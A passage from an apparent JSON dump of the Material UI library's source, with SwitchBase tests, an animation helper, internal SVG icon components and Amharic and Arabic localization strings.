});\n\n  describe('handleInputChange()', () => {\n    it('should call onChange when uncontrolled', () => {\n      const handleChange = spy();\n\n      render(\n        <SwitchBase\n          icon=\"unchecked\"\n          checkedIcon=\"checked\"\n          type=\"checkbox\"\n          onChange={handleChange}\n        />,\n      );\n\n      act(() => {\n        screen.getByRole('checkbox').click();\n      });\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.firstCall.args[0].target).to.have.property('checked', true);\n    });\n\n    it('should call onChange when controlled', () => {\n      const defaultChecked = true;\n      function ControlledSwichBase() {\n        const [checked, setChecked] = React.useState(defaultChecked);\n\n        return (\n          <SwitchBase\n            icon=\"unchecked\"\n            checkedIcon=\"checked\"\n            type=\"checkbox\"\n            checked={checked}\n            onChange={(event) => setChecked(event.target.checked)}\n          />\n        );\n      }\n\n      render(<ControlledSwichBase />);\n      const checkbox = screen.getByRole('checkbox');\n\n      act(() => {\n        checkbox.click();\n      });\n\n      expect(checkbox).to.have.property('checked', !defaultChecked);\n    });\n\n    it('should not change checkbox state when event is default prevented', () => {\n      const handleChange = spy();\n      const handleClick = spy((event) => event.preventDefault());\n      const { container } = render(\n        <SwitchBase\n          icon=\"checkbox\"\n          checkedIcon=\"checkbox\"\n          type=\"checkbox\"\n          defaultChecked\n          onChange={handleChange}\n          onClick={handleClick}\n        />,\n      );\n      const checkbox = screen.getByRole('checkbox');\n\n      expect(container.firstChild).to.have.class(classes.checked);\n      expect(checkbox).to.have.property('checked', true);\n\n      act(() => {\n        checkbox.click();\n      });\n\n      expect(handleChange.callCount).to.equal(0);\n      expect(container.firstChild).to.have.class(classes.checked);\n      expect(checkbox).to.have.property('checked', true);\n    });\n\n    describe('slotProps: input', () => {\n      it('should be able to add aria', () => {\n        render(\n          <SwitchBase\n            icon=\"unchecked\"\n            checkedIcon=\"checked\"\n            type=\"checkbox\"\n            slotProps={{ input: { 'aria-label': 'foo' } }}\n          />,\n        );\n\n        expect(screen.getByRole('checkbox', { name: 'foo' })).to.have.property('type', 'checkbox');\n      });\n    });\n\n    describe('prop: id', () => {\n      it('should be able to add id to a checkbox input', () => {\n        render(<SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" id=\"foo\" />);\n\n        expect(screen.getByRole('checkbox')).to.have.attribute('id', 'foo');\n      });\n\n      it('should be able to add id to a radio input', () => {\n        render(<SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"radio\" id=\"foo\" />);\n\n        expect(screen.getByRole('radio')).to.have.attribute('id', 'foo');\n      });\n    });\n  });\n\n  describe('with FormControl', () => {\n    describe('enabled', () => {\n      it('should not have the disabled class', () => {\n        render(\n          <FormControl>\n            <SwitchBase data-testid=\"root\" icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('root')).not.to.have.class(classes.disabled);\n        expect(screen.getByRole('checkbox')).not.to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl>\n            <SwitchBase\n              disabled\n              data-testid=\"root\"\n              icon=\"unchecked\"\n              checkedIcon=\"checked\"\n              type=\"checkbox\"\n            />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('root')).to.have.class(classes.disabled);\n        expect(screen.getByRole('checkbox')).to.have.attribute('disabled');\n      });\n    });\n\n    describe('disabled', () => {\n      it('should have the disabled class', () => {\n        render(\n          <FormControl disabled>\n            <SwitchBase data-testid=\"root\" icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('root')).to.have.class(classes.disabled);\n        expect(screen.getByRole('checkbox')).to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl disabled>\n            <SwitchBase\n              disabled={false}\n              data-testid=\"root\"\n              icon=\"unchecked\"\n              checkedIcon=\"checked\"\n              type=\"checkbox\"\n            />\n          </FormControl>,\n        );\n\n        expect(screen.getByTestId('root')).not.to.have.class(classes.disabled);\n        expect(screen.getByRole('checkbox')).not.to.have.attribute('disabled');\n      });\n    });\n  });\n\n  describe('focus/blur', () => {\n    it('forwards focus/blur events and notifies the FormControl', async () => {\n      function FocusMonitor(props) {\n        const { focused } = useFormControl();\n\n        return <span {...props}>focused: {String(focused)}</span>;\n      }\n      const handleBlur = spy();\n      const handleFocus = spy();\n\n      render(\n        <FormControl>\n          <FocusMonitor data-testid=\"focus-monitor\" />\n          <SwitchBase\n            onBlur={handleBlur}\n            onFocus={handleFocus}\n            icon=\"unchecked\"\n            checkedIcon=\"checked\"\n            type=\"checkbox\"\n          />\n        </FormControl>,\n      );\n\n      const checkbox = screen.getByRole('checkbox');\n\n      await act(async () => {\n        checkbox.focus();\n      });\n\n      expect(screen.getByTestId('focus-monitor')).to.have.text('focused: true');\n      expect(handleFocus.callCount).to.equal(1);\n\n      await act(async () => {\n        checkbox.blur();\n      });\n\n      expect(screen.getByTestId('focus-monitor')).to.have.text('focused: false');\n      expect(handleBlur.callCount).to.equal(1);\n    });\n  });\n\n  describe('check transitioning between controlled states throws errors', () => {\n    it('should error when uncontrolled and changed to controlled', function test() {\n      let setProps;\n      expect(() => {\n        ({ setProps } = render(\n          <SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" />,\n        ));\n      }).not.toErrorDev();\n\n      expect(() => {\n        setProps({ checked: true });\n      }).toErrorDev([\n        reactMajor === 16 &&\n          'Warning: A component is changing an uncontrolled input of type checkbox to be controlled.',\n        reactMajor >= 19 && 'A component is changing an uncontrolled input to be controlled.',\n        reactMajor < 19 &&\n          reactMajor !== 16 &&\n          'Warning: A component is changing an uncontrolled input to be controlled.',\n        'MUI: A component is changing the uncontrolled checked state of SwitchBase to be controlled.',\n      ]);\n    });\n\n    it('should error when controlled and changed to uncontrolled', function test() {\n      let setProps;\n      expect(() => {\n        ({ setProps } = render(\n          <SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" checked={false} />,\n        ));\n      }).not.toErrorDev();\n\n      expect(() => {\n        setProps({ checked: undefined });\n      }).toErrorDev([\n        reactMajor === 16 &&\n          'Warning: A component is changing an uncontrolled input of type checkbox to be controlled.',\n        reactMajor >= 19 && 'A component is changing a controlled input to be uncontrolled.',\n        reactMajor < 19 &&\n          reactMajor !== 16 &&\n          'Warning: A component is changing a controlled input to be uncontrolled.',\n        'MUI: A component is changing the controlled checked state of SwitchBase to be uncontrolled.',\n      ]);\n    });\n  });\n\n  describe('checkbox form submission', () => {\n    it('`value` falls back to the platform default if no `value` is set', () => {\n      render(<SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" />);\n\n      // https://html.spec.whatwg.org/multipage/input.html#dom-input-value-default-on\n      expect(screen.getByRole('checkbox')).to.have.property('value', 'on');\n    });\n\n    it('`value` can be overwritten', () => {\n      render(<SwitchBase icon=\"unchecked\" checkedIcon=\"checked\" type=\"checkbox\" value=\"red\" />);\n\n      expect(screen.getByRole('checkbox')).to.have.property('value', 'red');\n    });\n  });\n\n  it('should call event handlers in slotProps when provided', () => {\n    const rootOnClick = spy();\n    const inputOnClick = spy();\n\n    render(\n      <SwitchBase\n        icon=\"unchecked\"\n        checkedIcon=\"checked\"\n        type=\"checkbox\"\n        slotProps={{\n          root: {\n            onClick: rootOnClick,\n          },\n          input: {\n            onClick: inputOnClick,\n          },\n        }}\n      />,\n    );\n\n    act(() => {\n      screen.getByRole('checkbox').click();\n    });\n\n    expect(rootOnClick.callCount).to.equal(1);\n    expect(inputOnClick.callCount).to.equal(1);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/internal/animate.js",
    "content": "function easeInOutSin(time) {\n  return (1 + Math.sin(Math.PI * time - Math.PI / 2)) / 2;\n}\n\nexport default function animate(property, element, to, options = {}, cb = () => {}) {\n  const {\n    ease = easeInOutSin,\n    duration = 300, // standard\n  } = options;\n\n  let start = null;\n  const from = element[property];\n  let cancelled = false;\n\n  const cancel = () => {\n    cancelled = true;\n  };\n\n  const step = (timestamp) => {\n    if (cancelled) {\n      cb(new Error('Animation cancelled'));\n      return;\n    }\n\n    if (start === null) {\n      start = timestamp;\n    }\n    const time = Math.min(1, (timestamp - start) / duration);\n\n    element[property] = ease(time) * (to - from) + from;\n\n    if (time >= 1) {\n      requestAnimationFrame(() => {\n        cb(null);\n      });\n      return;\n    }\n\n    requestAnimationFrame(step);\n  };\n\n  if (from === to) {\n    cb(new Error('Element already at target position'));\n    return cancel;\n  }\n\n  requestAnimationFrame(step);\n  return cancel;\n}\n"
  },
  {
    "path": "packages/mui-material/src/internal/animate.test.js",
    "content": "import { expect } from 'chai';\nimport { isJsdom } from '@mui/internal-test-utils/env';\nimport animate from './animate';\n\nconst isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);\nconst isJSDOM = isJsdom();\n\ndescribe.skipIf(isJSDOM || isSafari)('animate', () => {\n  let container;\n\n  beforeAll(function beforeHook() {\n    container = document.createElement('div');\n    container.style.cssText = [\n      'height: 100px',\n      'width: 100px',\n      'overflow: scroll',\n      'border: 1px solid #000',\n    ].join(';');\n    const box = document.createElement('div');\n    box.style.cssText = ['height: 100px', 'width: 1000px'].join(';');\n    container.appendChild(box);\n    document.body.appendChild(container);\n  });\n\n  afterAll(() => {\n    if (container !== undefined) {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should work', () =>\n    new Promise((done) => {\n      container.scrollLeft = 200;\n      expect(container.scrollLeft).to.equal(200);\n      animate('scrollLeft', container, 300, {}, (err) => {\n        expect(err).to.equal(null);\n        expect(container.scrollLeft).to.equal(300);\n        done();\n      });\n    }));\n\n  it('should work when asking for the current value', () =>\n    new Promise((done) => {\n      container.scrollLeft = 200;\n      expect(container.scrollLeft).to.equal(200);\n      animate('scrollLeft', container, 200, {}, (err) => {\n        expect(err.message).to.equal('Element already at target position');\n        expect(container.scrollLeft).to.equal(200);\n        done();\n      });\n    }));\n\n  it('should be able to cancel the animation', () =>\n    new Promise((done) => {\n      container.scrollLeft = 200;\n      expect(container.scrollLeft).to.equal(200);\n      const cancel = animate('scrollLeft', container, 300, {}, (err) => {\n        expect(err.message).to.equal('Animation cancelled');\n        expect(container.scrollLeft).to.equal(200);\n        done();\n      });\n      cancel();\n    }));\n});\n"
  },
  {
    "path": "packages/mui-material/src/internal/index.ts",
    "content": "import { DistributiveOmit } from '@mui/types';\nimport { StyledComponentProps } from '../styles';\n\n/**\n * @internal\n * ONLY USE FROM WITHIN mui/material-ui\n *\n * Internal helper type for conform (describeConformance) components\n * However, we don't declare classes on this type.\n * It is recommended to declare them manually with an interface so that each class can have a separate JSDoc.\n */\nexport type InternalStandardProps<\n  ComponentProps,\n  Removals extends keyof ComponentProps = never,\n> = DistributiveOmit<ComponentProps, 'classes' | Removals> &\n  // each component declares it's classes in a separate interface for proper JSDoc\n  StyledComponentProps<never> & {\n    ref?:\n      | (ComponentProps extends { ref?: infer RefType | undefined } ? RefType : React.Ref<unknown>)\n      | undefined;\n    // TODO: Remove implicit props. Up to each component.\n    className?: string | undefined;\n    style?: React.CSSProperties | undefined;\n  };\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/Add.js",
    "content": "'use client';\nimport { createSvgIcon } from '../../utils';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(<path d=\"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6v2z\" />, 'Add');\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/ArrowDownward.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M20 12l-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8 8-8z\" />,\n  'ArrowDownward',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/ArrowDropDown.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(<path d=\"M7 10l5 5 5-5z\" />, 'ArrowDropDown');\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/Cancel.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2zm5 13.59L15.59 17 12 13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12 17 15.59z\" />,\n  'Cancel',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/CheckBox.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.11 0 2-.9 2-2V5c0-1.1-.89-2-2-2zm-9 14l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z\" />,\n  'CheckBox',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/CheckBoxOutlineBlank.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M19 5v14H5V5h14m0-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2z\" />,\n  'CheckBoxOutlineBlank',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/CheckCircle.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M12 0a12 12 0 1 0 0 24 12 12 0 0 0 0-24zm-2 17l-5-5 1.4-1.4 3.6 3.6 7.6-7.6L19 8l-9 9z\" />,\n  'CheckCircle',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/Close.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n *\n * Alias to `Clear`.\n */\nexport default createSvgIcon(\n  <path d=\"M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\" />,\n  'Close',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/ErrorOutline.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M11 15h2v2h-2zm0-8h2v6h-2zm.99-5C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2zM12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z\" />,\n  'ErrorOutline',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/FirstPage.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M18.41 16.59L13.82 12l4.59-4.59L17 6l-6 6 6 6zM6 6h2v12H6z\" />,\n  'FirstPage',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/IndeterminateCheckBox.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-2 10H7v-2h10v2z\" />,\n  'IndeterminateCheckBox',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/InfoOutlined.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M11,9H13V7H11M12,20C7.59,20 4,16.41 4,12C4,7.59 7.59,4 12,4C16.41,4 20,7.59 20, 12C20,16.41 16.41,20 12,20M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10, 10 0 0,0 12,2M11,17H13V11H11V17Z\" />,\n  'InfoOutlined',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/KeyboardArrowLeft.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M15.41 16.09l-4.58-4.59 4.58-4.59L14 5.5l-6 6 6 6z\" />,\n  'KeyboardArrowLeft',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/KeyboardArrowRight.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M8.59 16.34l4.58-4.59-4.58-4.59L10 5.75l6 6-6 6z\" />,\n  'KeyboardArrowRight',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/LastPage.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M5.59 7.41L10.18 12l-4.59 4.59L7 18l6-6-6-6zM16 6h2v12h-2z\" />,\n  'LastPage',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/MoreHoriz.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M6 10c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm12 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm-6 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z\" />,\n  'MoreHoriz',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/NavigateBefore.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M15.41 7.41L14 6l-6 6 6 6 1.41-1.41L10.83 12z\" />,\n  'NavigateBefore',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/NavigateNext.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M10 6L8.59 7.41 13.17 12l-4.58 4.59L10 18l6-6z\" />,\n  'NavigateNext',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/Person.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4zm0 2c-2.67 0-8 1.34-8 4v2h16v-2c0-2.66-5.33-4-8-4z\" />,\n  'Person',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/README.md",
    "content": "# Svg Icons\n\nThe icons provided here are intended for use internally within Material UI components.\n\nFor the complete set of SVG Material icons provided with Material UI,\nplease refer to the [@mui/icons-material](https://www.npmjs.com/package/@mui/icons-material) npm package.\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/RadioButtonChecked.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M8.465 8.465C9.37 7.56 10.62 7 12 7C14.76 7 17 9.24 17 12C17 13.38 16.44 14.63 15.535 15.535C14.63 16.44 13.38 17 12 17C9.24 17 7 14.76 7 12C7 10.62 7.56 9.37 8.465 8.465Z\" />,\n  'RadioButtonChecked',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/RadioButtonUnchecked.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8z\" />,\n  'RadioButtonUnchecked',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/ReportProblemOutlined.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M12 5.99L19.53 19H4.47L12 5.99M12 2L1 21h22L12 2zm1 14h-2v2h2v-2zm0-6h-2v4h2v-4z\" />,\n  'ReportProblemOutlined',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/Star.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M12 17.27L18.18 21l-1.64-7.03L22 9.24l-7.19-.61L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21z\" />,\n  'Star',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/StarBorder.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M22 9.24l-7.19-.62L12 2 9.19 8.63 2 9.24l5.46 4.73L5.82 21 12 17.27 18.18 21l-1.63-7.03L22 9.24zM12 15.4l-3.76 2.27 1-4.28-3.32-2.88 4.38-.38L12 6.1l1.71 4.04 4.38.38-3.32 2.88 1 4.28L12 15.4z\" />,\n  'StarBorder',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/SuccessOutlined.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M20,12A8,8 0 0,1 12,20A8,8 0 0,1 4,12A8,8 0 0,1 12,4C12.76,4 13.5,4.11 14.2, 4.31L15.77,2.74C14.61,2.26 13.34,2 12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0, 0 22,12M7.91,10.08L6.5,11.5L11,16L21,6L19.59,4.58L11,13.17L7.91,10.08Z\" />,\n  'SuccessOutlined',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/svg-icons/Warning.js",
    "content": "'use client';\nimport createSvgIcon from '../../utils/createSvgIcon';\n\n/**\n * @ignore - internal component.\n */\nexport default createSvgIcon(\n  <path d=\"M1 21h22L12 2 1 21zm12-3h-2v-2h2v2zm0-4h-2v-4h2v4z\" />,\n  'Warning',\n);\n"
  },
  {
    "path": "packages/mui-material/src/internal/switchBaseClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SwitchBaseClasses {\n  root: string;\n  checked: string;\n  disabled: string;\n  input: string;\n  edgeStart: string;\n  edgeEnd: string;\n}\n\nexport type SwitchBaseClassKey = keyof SwitchBaseClasses;\n\nexport function getSwitchBaseUtilityClass(slot: string): string {\n  return generateUtilityClass('PrivateSwitchBase', slot);\n}\n\nconst switchBaseClasses: SwitchBaseClasses = generateUtilityClasses('PrivateSwitchBase', [\n  'root',\n  'checked',\n  'disabled',\n  'input',\n  'edgeStart',\n  'edgeEnd',\n]);\n\nexport default switchBaseClasses;\n"
  },
  {
    "path": "packages/mui-material/src/locale/amET.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('am-ET');\n\nexport const amET: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'መንገድ አሳይ',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'ወደ መጀመሪያው ገጽ ይሂዱ';\n          }\n          if (type === 'last') {\n            return 'ወደ መጨረሻው ገጽ ይሂዱ';\n          }\n          if (type === 'next') {\n            return 'ወደ ቀጣዩ ገጽ ይሂዱ';\n          }\n          // if (type === 'previous') {\n          return 'ወደ ቀዳሚው ገጽ ይሂዱ';\n        },\n        labelRowsPerPage: 'ረድፎች በአንድ ገጽ:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}-${formatNumber(to)} ከ ${count !== -1 ? formatNumber(count) : `${formatNumber(to)} በላይ`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ኮከ${value !== 1 ? 'ቦች' : 'ብ'}`,\n        emptyLabelText: 'ባዶ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'አጽዳ',\n        closeText: 'ዝጋ',\n        loadingText: 'በመጫን ላይ…',\n        noOptionsText: 'አማራጮች የሉም',\n        openText: 'ክፈት',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'ዝጋ',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'የገጽ አሰሳ',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'ወደ '}ገጽ ${page}${selected ? '' : ' ሂድ'}`;\n          }\n          if (type === 'first') {\n            return 'ወደ መጀመሪያው ገጽ ይሂዱ';\n          }\n          if (type === 'last') {\n            return 'ወደ መጨረሻው ገጽ ይሂዱ';\n          }\n          if (type === 'next') {\n            return 'ወደ ቀጣዩ ገጽ ይሂዱ';\n          }\n          // if (type === 'previous') {\n          return 'ወደ ቀዳሚው ገጽ ይሂዱ';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/arEG.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ar-EG');\n\nexport const arEG: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'إظهار المسار',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'انتقل إلى الصفحة الأولى';\n          }\n          if (type === 'last') {\n            return 'انتقل إلى الصفحة الأخيرة';\n          }\n          if (type === 'next') {\n            return 'انتقل إلى الصفحة التالية';\n          }\n          // if (type === 'previous') {\n          return 'انتقل إلى الصفحة السابقة';\n        },\n        labelRowsPerPage: 'عدد الصفوف في الصفحة:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} من ${count !== -1 ? formatNumber(count) : ` أكثر من${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'نجوم' : 'نجمة'}`,\n        emptyLabelText: 'فارغ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'مسح',\n        closeText: 'إغلاق',\n        loadingText: 'جار التحميل…',\n        noOptionsText: 'لا يوجد خيارات',\n        openText: 'فتح',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'إغلاق',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'التنقل عبر الصفحات',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'انتقل إلى '} صفحة ${page}`;\n          }\n          if (type === 'first') {\n            return 'انتقل إلى الصفحة الأولى';\n          }\n          if (type === 'last') {\n            return 'انتقل إلى الصفحة الأخيرة';\n          }\n          if (type === 'next') {\n            return 'انتقل إلى الصفحة التالية';\n          }\n          // if (type === 'previous') {\n          return 'انتقل إلى الصفحة السابقة';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/arSA.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ar-SA');\n\nexport const arSA: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'إظهار المسار',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'الانتقال إلى الصفحة الأولى';\n          }\n          if (type === 'last') {\n            return 'الانتقال إلى الصفحة الأخيرة';\n          }\n          if (type === 'next') {\n            return 'الانتقال إلى الصفحة التالية';\n          }\n          // if (type === 'previous') {\n          return 'الانتقال إلى الصفحة السابقة';\n        },\n        labelRowsPerPage: 'عدد الصفوف في الصفحة:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} من ${count !== -1 ? formatNumber(count) : ` أكثر من${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'نجوم' : 'نجمة'}`,\n        emptyLabelText: 'فارغ',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'مسح',\n        closeText: 'إغلاق',\n        loadingText: 'جار التحميل…',\n        noOptionsText: 'لا توجد خيارات',\n        openText: 'فتح',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'إغلاق',\n      },\n    },\n    MuiPagination: 